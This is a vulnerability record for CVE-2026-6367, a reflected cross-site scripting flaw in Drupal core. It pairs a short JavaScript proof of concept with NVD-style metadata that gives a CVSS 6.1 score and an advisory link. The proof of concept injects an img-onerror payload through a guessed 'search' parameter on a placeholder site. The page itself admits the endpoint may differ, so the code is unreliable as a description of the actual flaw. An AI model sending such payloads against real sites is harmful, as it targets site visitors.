CVE-2026-6367

// Basic Proof of Concept for Reflected XSS // Usage: Open the browser console or use a tool like Burp Suite // Target URL structure might vary based on the specific vulnerable module or endpoint. var vulnerableUrl = "http://target-drupal-site.com/"; var payload = "<img src=x onerror=alert('CVE-2026-6367')>"; // Constructing the malicious request var attackUrl = vulnerableUrl + "?search=" + encodeURIComponent(payload); // Simulating the victim visit console.log("[+] Sending request to: " + attackUrl); // In a real scenario, the attacker sends this link to the victim. // If the application reflects the payload unsanitized, the alert triggers.

{"cve": {"id": "CVE-2026-6367", "sourceIdentifier": "[email protected]", "published": "2026-05-19T23:16:58.353", "lastModified": "2026-05-20T14:17:03.517", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (\"Cross-site Scripting\") vulnerability in Drupal Drupal core allows Cross-Site Scripting (XSS).\n\nThis issue affects Drupal core: from 11.3.0 before 11.3.7."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.drupal.org/sa-core-2026-003", "source": "[email protected]"}]}}